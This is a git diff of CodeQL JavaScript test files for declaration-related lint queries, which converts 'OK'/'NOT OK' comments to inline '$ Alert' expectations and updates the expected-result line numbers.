index c9bd449006f4..60a075561957 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.expected
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.expected
@@ -1,10 +1,10 @@
 | abstract-missing.ts:3:5:3:24 | setAudioProperties() | This call refers to a global function, and not the local method $@. | abstract-missing.ts:6:3:6:32 | abstrac ... ties(); | setAudioProperties |
-| indirection.js:7:9:7:20 | m("default") | This call refers to a global function, and not the local method $@. | indirection.js:2:5:4:5 | m() {\\n  ... K\\n    } | m |
+| indirection.js:7:9:7:20 | m("default") | This call refers to a global function, and not the local method $@. | indirection.js:2:5:4:5 | m() {\\n  ... ;\\n    } | m |
 | missing1.js:3:5:3:24 | setAudioProperties() | This call refers to a global function, and not the local method $@. | missing1.js:6:3:7:3 | setAudi ... (){\\n  } | setAudioProperties |
 | missing2.js:3:5:3:24 | setAudioProperties() | This call refers to a global function, and not the local method $@. | missing2.js:7:3:8:3 | static  ... (){\\n  } | setAudioProperties |
-| namespaces-uses.ts:3:5:3:20 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:2:3:4:3 | globalF ...  OK\\n  } | globalFunction |
-| namespaces-uses.ts:6:5:6:26 | topName ... ction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:5:3:7:3 | topName ...  OK\\n  } | topNamespaceFunction |
-| namespaces-uses.ts:9:5:9:28 | childNa ... ction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:8:3:10:3 | childNa ...  OK\\n  } | childNamespaceFunction |
-| namespaces-uses.ts:16:7:16:22 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:15:5:17:5 | globalF ... K\\n    } | globalFunction |
-| namespaces-uses.ts:30:7:30:22 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:29:5:31:5 | globalF ... K\\n    } | globalFunction |
+| namespaces-uses.ts:3:5:3:20 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:2:3:4:3 | globalF ... ert\\n  } | globalFunction |
+| namespaces-uses.ts:6:5:6:26 | topName ... ction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:5:3:7:3 | topName ... ert\\n  } | topNamespaceFunction |
+| namespaces-uses.ts:9:5:9:28 | childNa ... ction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:8:3:10:3 | childNa ... ert\\n  } | childNamespaceFunction |
+| namespaces-uses.ts:16:7:16:22 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:15:5:17:5 | globalF ... t\\n    } | globalFunction |
+| namespaces-uses.ts:30:7:30:22 | globalFunction() | This call refers to a global function, and not the local method $@. | namespaces-uses.ts:29:5:31:5 | globalF ... t\\n    } | globalFunction |
 | not-ignored-by-jslint.js:4:5:4:24 | setAudioProperties() | This call refers to a global function, and not the local method $@. | not-ignored-by-jslint.js:7:3:8:3 | setAudi ... (){\\n  } | setAudioProperties |
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.qlref b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.qlref
index 0dc32a588efb..510e68bd8977 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.qlref
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.qlref
@@ -1 +1,2 @@
-Declarations/MissingThisQualifier.ql
\ No newline at end of file
+query: Declarations/MissingThisQualifier.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/abstract-missing.ts b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/abstract-missing.ts
index dedc0b8c9601..a81bfd9a96d4 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/abstract-missing.ts
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/abstract-missing.ts
@@ -1,6 +1,6 @@
 abstract class Audio3D {
   setAudioStream() {
-    setAudioProperties(); // NOT OK
+    setAudioProperties(); // $ Alert
   }
 
   abstract setAudioProperties();
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-externs.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-externs.js
index 78e0637b1b31..7af69ca17e4d 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-externs.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-externs.js
@@ -1,6 +1,6 @@
 class Audio3D {
   setAudioStream() {
-    externs_setAudioProperties(); // OK
+    externs_setAudioProperties();
   }
 
   externs_setAudioProperties(){
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-jslint.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-jslint.js
index c8d8436ab5fe..24894c816cb1 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-jslint.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/ignored-by-jslint.js
@@ -1,7 +1,7 @@
 /*global setAudioProperties*/
 class Audio3D {
   setAudioStream() {
-    setAudioProperties(); // OK
+    setAudioProperties();
   }
 
   setAudioProperties(){
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/indirection.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/indirection.js
index 086a8ba03c28..c55f8d03ae34 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/indirection.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/indirection.js
@@ -1,9 +1,9 @@
 class X {
     m() {
-        m("default"); // OK
+        m("default");
     }
 
     resty(...x) {
-        m("default"); // NOT OK
+        m("default"); // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing1.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing1.js
index b7810e851eef..967d2ddf165b 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing1.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing1.js
@@ -1,6 +1,6 @@
 class Audio3D {
   setAudioStream() {
-    setAudioProperties(); // NOT OK
+    setAudioProperties(); // $ Alert
   }
 
   setAudioProperties(){
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing2.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing2.js
index f0fa436f80b0..a7e9c39ae849 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing2.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/missing2.js
@@ -1,6 +1,6 @@
 class Audio3D {
   static setAudioStream() {
-    setAudioProperties(); // NOT OK
+    setAudioProperties(); // $ Alert
 
   }
 
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/namespaces-uses.ts b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/namespaces-uses.ts
index 96d83d9f12ac..2000aa1b4b72 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/namespaces-uses.ts
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/namespaces-uses.ts
@@ -1,39 +1,39 @@
 class GlobalClass {
-  globalFunction(){
-    globalFunction(); // NOT OK
+  globalFunction() {
+    globalFunction(); // $ Alert
   }
-  topNamespaceFunction(){
-    topNamespaceFunction(); // NOT OK
+  topNamespaceFunction() {
+    topNamespaceFunction(); // $ Alert
   }
-  childNamespaceFunction(){
-    childNamespaceFunction(); // NOT OK
+  childNamespaceFunction() {
+    childNamespaceFunction(); // $ Alert
   }
 }
 
 namespace Top {
   class TopClass {
-    globalFunction(){
-      globalFunction(); // NOT OK
+    globalFunction() {
+      globalFunction(); // $ Alert
     }
-    topNamespaceFunction(){
-      topNamespaceFunction(); // OK
+    topNamespaceFunction() {
+      topNamespaceFunction();
     }
-    childNamespaceFunction(){
-      childNamespaceFunction();  // NOT OK, but not flagged since the namespace resolution is ignored
+    childNamespaceFunction() {
+      childNamespaceFunction();  // $ MISSING: Alert - not flagged since the namespace resolution is ignored
     }
   }
 }
 
 namespace Top.Child {
   class ChildClass {
-    globalFunction(){
-      globalFunction(); // NOT OK
+    globalFunction() {
+      globalFunction(); // $ Alert
     }
-    topNamespaceFunction(){
-      topNamespaceFunction(); // OK
+    topNamespaceFunction() {
+      topNamespaceFunction();
     }
-    childNamespaceFunction(){
-      childNamespaceFunction(); // OK
+    childNamespaceFunction() {
+      childNamespaceFunction();
     }
   }
-}
\ No newline at end of file
+}
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/non-global.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/non-global.js
index e69101b80fd7..00fd5f8f67c4 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/non-global.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/non-global.js
@@ -2,7 +2,7 @@ function setAudioProperties(){}
 
 class Audio3D {
   setAudioStream() {
-    setAudioProperties(); // OK
+    setAudioProperties();
 
   }
 
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/not-ignored-by-jslint.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/not-ignored-by-jslint.js
index 4920a96353fe..0d80afa72a8d 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/not-ignored-by-jslint.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/not-ignored-by-jslint.js
@@ -1,7 +1,7 @@
 /*global NOT_setAudioProperties*/
 class Audio3D {
   setAudioStream() {
-    setAudioProperties(); // NOT OK
+    setAudioProperties(); // $ Alert
   }
 
   setAudioProperties(){
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present1.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present1.js
index e5cd1e1c3b41..559d4f3d75f8 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present1.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present1.js
@@ -1,6 +1,6 @@
 class Audio3D {
   setAudioStream() {
-    this.setAudioProperties(); // OK
+    this.setAudioProperties();
 
   }
 
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present2.js b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present2.js
index a55bb69e5965..396266bb6c72 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present2.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/present2.js
@@ -1,6 +1,6 @@
 class Audio3D {
   static setAudioStream() {
-    this.setAudioProperties(); // OK
+    this.setAudioProperties();
 
   }
 
diff --git a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.expected b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.expected
index f9a35141d67d..a679cb095a7c 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.expected
+++ b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.expected
@@ -1,9 +1,9 @@
-| test.js:6:7:6:7 | i | Variable i is used like a local variable, but is missing a declaration. |
-| test.js:14:7:14:7 | i | Variable i is used like a local variable, but is missing a declaration. |
-| test.js:23:2:23:2 | y | Variable y is used like a local variable, but is missing a declaration. |
-| test.js:54:10:54:10 | z | Variable z is used like a local variable, but is missing a declaration. |
-| test.js:60:6:60:6 | y | Variable y is used like a local variable, but is missing a declaration. |
-| test.js:66:2:66:2 | z | Variable z is used like a local variable, but is missing a declaration. |
-| test.js:72:9:72:20 | unresolvable | Variable unresolvable is used like a local variable, but is missing a declaration. |
+| test.js:5:7:5:7 | i | Variable i is used like a local variable, but is missing a declaration. |
+| test.js:12:7:12:7 | i | Variable i is used like a local variable, but is missing a declaration. |
+| test.js:20:2:20:2 | y | Variable y is used like a local variable, but is missing a declaration. |
+| test.js:50:10:50:10 | z | Variable z is used like a local variable, but is missing a declaration. |
+| test.js:55:6:55:6 | y | Variable y is used like a local variable, but is missing a declaration. |
+| test.js:60:2:60:2 | z | Variable z is used like a local variable, but is missing a declaration. |
+| test.js:66:9:66:20 | unresolvable | Variable unresolvable is used like a local variable, but is missing a declaration. |
 | tst3.js:7:10:7:10 | x | Variable x is used like a local variable, but is missing a declaration. |
 | tst3.js:7:16:7:19 | rest | Variable rest is used like a local variable, but is missing a declaration. |
diff --git a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.qlref b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.qlref
index 47259d4307ed..05c15790bd10 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.qlref
+++ b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/MissingVarDecl.qlref
@@ -1 +1,2 @@
-Declarations/MissingVarDecl.ql
\ No newline at end of file
+query: Declarations/MissingVarDecl.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/test.js b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/test.js
index 5c4444111759..77c37017ec3a 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/test.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/test.js
@@ -2,26 +2,23 @@ var x;
 
 function f(a) {
 	var sum = 0;
-	// NOT OK
-	for (i=0; i<a.length; ++i)
+	for (i=0; i<a.length; ++i) // $ Alert
 		sum += g(a[i]);
 	return sum;
 }
 
 function g(b) {
 	var prod = 1;
-	// NOT OK
-	for (i=0; i<b.length; ++i)
+	for (i=0; i<b.length; ++i) // $ Alert
 		prod *= b[i];
 	return prod;
 }
 
 function h() {
-	// OK: x is declared as a global in the same toplevel
+	// OK - x is declared as a global in the same toplevel
 	x = 23;
-	// NOT OK: y is not declared as a global in the same toplevel (though it is declared in test2.js)
-	y = 19;
-	// OK: console is live
+	y = 19; // $ Alert - y is not declared as a global in the same toplevel (though it is declared in test2.js)
+	// OK - console is live
 	console.log(x+y);
 }
 
@@ -29,47 +26,44 @@ function k(x) {
 	try {
 		return x.y;
 	} catch(e) {
-		// OK: Error is not reachable (in our current CFG)
+		// OK - Error is not reachable (in our current CFG)
 		throw new Error();
 	}
 }
 
 function l() {
-	// OK: z is not used
+	// OK - z is not used
 	z = 56;
 }
 
 function m() {
-	// OK: z is live
+	// OK - z is live
 	z += 23;
 }
 
 function n() {
-	// OK: z is live
+	// OK - z is live
 	z = z + 23;
 }
 
 function p() {
-	// NOT OK
-	return (z = a[i]) && z+23;
+	return (z = a[i]) && z+23; // $ Alert
 }
 
 function q() {
-	// NOT OK
 	var x;
-	    y = 23,
+	    y = 23, // $ Alert
 	    z = y+19;
 }
 
 function r() {
-	// NOT OK
-	z = {};
+	z = {}; // $ Alert
 	for (var p in z)
 		;
 }
 
 (function() {
-	for ([ unresolvable ] of o) {
+	for ([ unresolvable ] of o) { // $ Alert
 		unresolvable;
 	}
 });
diff --git a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/tst3.js b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/tst3.js
index 19b3592bd43e..c2fa23ab9d3d 100644
--- a/javascript/ql/test/query-tests/Declarations/MissingVarDecl/tst3.js
+++ b/javascript/ql/test/query-tests/Declarations/MissingVarDecl/tst3.js
@@ -4,6 +4,6 @@ function sc_alert(i) {
 }
 
 function f(o) {
-    for({x, ...rest} of o)
+    for({x, ...rest} of o) // $ Alert
         console.log(x in rest);
 }
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.expected b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.expected
index 1e5f4d643241..a5b1e0c00dfc 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.expected
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.expected
@@ -1,3 +1,3 @@
-| instanceStatic.js:3:9:3:16 | this.baz | Access to instance method $@ from static method $@ is not possible through `this`. | instanceStatic.js:5:5:7:5 | baz(){\\n\\n    } | baz | instanceStatic.js:2:5:4:5 | static  ... K\\n    } | bar |
-| staticInstance.js:3:9:3:16 | this.baz | Access to static method $@ from instance method $@ is not possible through `this`. | staticInstance.js:5:5:6:5 | static baz(){\\n    } | baz | staticInstance.js:2:5:4:5 | bar(){\\n ... K\\n    } | bar |
-| tst.js:66:9:66:14 | this.f | Access to instance method $@ from static method $@ is not possible through `this`. | tst.js:60:5:62:5 | f() {\\n\\n    } | f | tst.js:65:5:67:5 | static  ... K\\n    } | test |
+| instanceStatic.js:3:9:3:16 | this.baz | Access to instance method $@ from static method $@ is not possible through `this`. | instanceStatic.js:5:5:7:5 | baz(){\\n\\n    } | baz | instanceStatic.js:2:5:4:5 | static  ... t\\n    } | bar |
+| staticInstance.js:3:9:3:16 | this.baz | Access to static method $@ from instance method $@ is not possible through `this`. | staticInstance.js:5:5:6:5 | static baz(){\\n    } | baz | staticInstance.js:2:5:4:5 | bar(){\\n ... t\\n    } | bar |
+| tst.js:66:9:66:14 | this.f | Access to instance method $@ from static method $@ is not possible through `this`. | tst.js:60:5:62:5 | f() {\\n\\n    } | f | tst.js:65:5:67:5 | static  ... t\\n    } | test |
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.qlref b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.qlref
index bbb96374c1d2..8822bbe13c06 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.qlref
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/MixedStaticInstanceThisAccess.qlref
@@ -1 +1,2 @@
-Declarations/MixedStaticInstanceThisAccess.ql
\ No newline at end of file
+query: Declarations/MixedStaticInstanceThisAccess.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/abstract.ts b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/abstract.ts
index 8a22bec04544..56ce2904bc63 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/abstract.ts
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/abstract.ts
@@ -3,6 +3,6 @@ abstract class Q {
     static test() {}
 
     method() {
-        this.test(); // OK
+        this.test();
     }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstance.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstance.js
index 7c761342895b..8263f56272f4 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstance.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstance.js
@@ -1,6 +1,6 @@
 class Foo {
     bar(){
-        this.baz; // OK
+        this.baz;
     }
     baz(){
 
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstanceWithStaticExtra.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstanceWithStaticExtra.js
index fccdd00bc1bb..0c5b66bb3b7a 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstanceWithStaticExtra.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceInstanceWithStaticExtra.js
@@ -1,6 +1,6 @@
 class Foo {
     bar() {
-        this.baz; // OK
+        this.baz;
     }
     baz() {}
     static baz() {}
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceStatic.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceStatic.js
index 22f3b0f86d29..0ccc96d99599 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceStatic.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/instanceStatic.js
@@ -1,6 +1,6 @@
 class Foo {
     static bar(){
-        this.baz; // NOT OK
+        this.baz; // $ Alert
     }
     baz(){
 
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticInstance.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticInstance.js
index ac2372074cd0..226ec9269df9 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticInstance.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticInstance.js
@@ -1,6 +1,6 @@
 class Foo {
     bar(){
-        this.baz; // NOT OK
+        this.baz; // $ Alert
     }
     static baz(){
     }
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStatic.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStatic.js
index cbd6cc08dd6b..f39ce8326b5d 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStatic.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStatic.js
@@ -1,6 +1,6 @@
 class Foo {
     static bar(){
-        this.baz; // OK
+        this.baz;
     }
     static baz(){
 
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStaticWithInstanceExtra.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStaticWithInstanceExtra.js
index 541163a48ae1..13d1e9a2ef52 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStaticWithInstanceExtra.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/staticStaticWithInstanceExtra.js
@@ -1,6 +1,6 @@
 class Foo {
     static bar() {
-        this.baz; // OK
+        this.baz;
     }
     static baz() {}
     baz() {}
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/throughClass.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/throughClass.js
index 05d58c7691e1..e0143a61d88a 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/throughClass.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/throughClass.js
@@ -1,6 +1,6 @@
 class Foo {
     bar(){
-        Foo.baz; // OK
+        Foo.baz;
     }
     static baz(){
 
diff --git a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/tst.js b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/tst.js
index a00731827d86..5e6bc9bfa04b 100644
--- a/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/MixedStaticInstanceThisAccess/tst.js
@@ -1,7 +1,7 @@
 class C1 {
     test() {
         this.f = x;
-        this.f; // OK
+        this.f;
     }
 
     static f() {
@@ -12,7 +12,7 @@ class C1 {
 class C2 {
     static test() {
         this.f = x;
-        this.f; // OK
+        this.f;
     }
 
     f() {
@@ -22,7 +22,7 @@ class C2 {
 
 class C3 {
     test() {
-        this.f; // OK
+        this.f;
     }
 
     static f() {
@@ -33,7 +33,7 @@ new C3().f = x;
 
 class C4 {
     static test() {
-        this.f; // OK
+        this.f;
     }
 
     f() {
@@ -52,7 +52,7 @@ class C5 extends C5_super{
 
     }
     test() {
-        this.f; // OK
+        this.f;
     }
 }
 
@@ -63,6 +63,6 @@ class C6_super {
 }
 class C6 extends C6_super{
     static test() {
-        this.f; // NOT OK
+        this.f; // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/RedeclaredVariable.qlref b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/RedeclaredVariable.qlref
index 24c12817746b..04dcfeacce1b 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/RedeclaredVariable.qlref
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/RedeclaredVariable.qlref
@@ -1 +1,2 @@
-Declarations/RedeclaredVariable.ql
+query: Declarations/RedeclaredVariable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/externs.js b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/externs.js
index 0a9eab069964..44c9ba9eccc2 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/externs.js
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/externs.js
@@ -1,4 +1,4 @@
-// OK: people sometimes use multiple declarations in an externs file to represent multiple type signatures
+// OK - people sometimes use multiple declarations in an externs file to represent multiple type signatures
 var f = function() {};
 var f = function(x) {};
 
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/sameNameForFunctionAndVariable.js b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/sameNameForFunctionAndVariable.js
index a825f6749d0d..c6426465cccb 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/sameNameForFunctionAndVariable.js
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/sameNameForFunctionAndVariable.js
@@ -1,10 +1,10 @@
 var fun1;
-function fun1() {
+function fun1() { // $ Alert
 }
 
 function fun2() {
 }
-var fun2;
+var fun2; // $ Alert
 
 var fun3;
 var fun = function fun3() {
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.js b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.js
index 4058998447d7..d2f793e34a45 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.js
@@ -1,5 +1,5 @@
 function f() {
-	// OK
+	
 	var f;
 }
 
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.ts b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.ts
index 3d154f0a4c2a..24e7ba35e39e 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.ts
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst.ts
@@ -8,12 +8,12 @@ namespace N2 {
   let y;
 }
 
-namespace N2 { // OK
+namespace N2 {
   var w;
 }
 
 function f(x: number): number;
-function f(x: string): string; // OK
-function f(x: any): any { // OK
+function f(x: string): string;
+function f(x: any): any {
   return x;
 }
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst3.js b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst3.js
index f9281b14707a..764a535d77f2 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst3.js
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst3.js
@@ -6,7 +6,7 @@ function f() {
 
 f();
 
-function f() { // NOT OK
+function f() { // $ Alert
   console.log("first declaration");
 }
 
diff --git a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst4.js b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst4.js
index dd6f0e3ed93d..bfb8785395e5 100644
--- a/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst4.js
+++ b/javascript/ql/test/query-tests/Declarations/RedeclaredVariable/tst4.js
@@ -1,22 +1,22 @@
 function f() {
   var x = 1;
-  var x = 2; // NOT OK
+  var x = 2; // $ Alert
 }
 
 function g(x) {
-  var x = 1; // NOT OK
+  var x = 1; // $ Alert
 }
 
 function h() {
   var i = 1;
-  for (var i = 0; i < 10; i++) { // NOT OK
+  for (var i = 0; i < 10; i++) { // $ Alert
   }
 }
 
 function k() {
   var y = 1;
   var x = 2,
-      y = 2; // NOT OK
+      y = 2; // $ Alert
 }
 
-var g;
+var g; // $ Alert
diff --git a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/SuspiciousMethodNameDeclaration.qlref b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/SuspiciousMethodNameDeclaration.qlref
index f9446bc51e25..341637b4c3b1 100644
--- a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/SuspiciousMethodNameDeclaration.qlref
+++ b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/SuspiciousMethodNameDeclaration.qlref
@@ -1 +1,2 @@
-Declarations/SuspiciousMethodNameDeclaration.ql
\ No newline at end of file
+query: Declarations/SuspiciousMethodNameDeclaration.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.js b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.js
index b11deb47fcc8..61044d8a1fbe 100644
--- a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.js
@@ -1,4 +1,4 @@
- // OK: don't report anything in .js files.
+ // OK - don't report anything in .js files.
 function getStuff(number) {
     return {
         "new": function() {
diff --git a/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.ts b/javascript/ql/test/query-tests/Declarations/SuspiciousMethodNameDeclaration/tst.ts
index 2db4457c222f..e958681f9352 100644
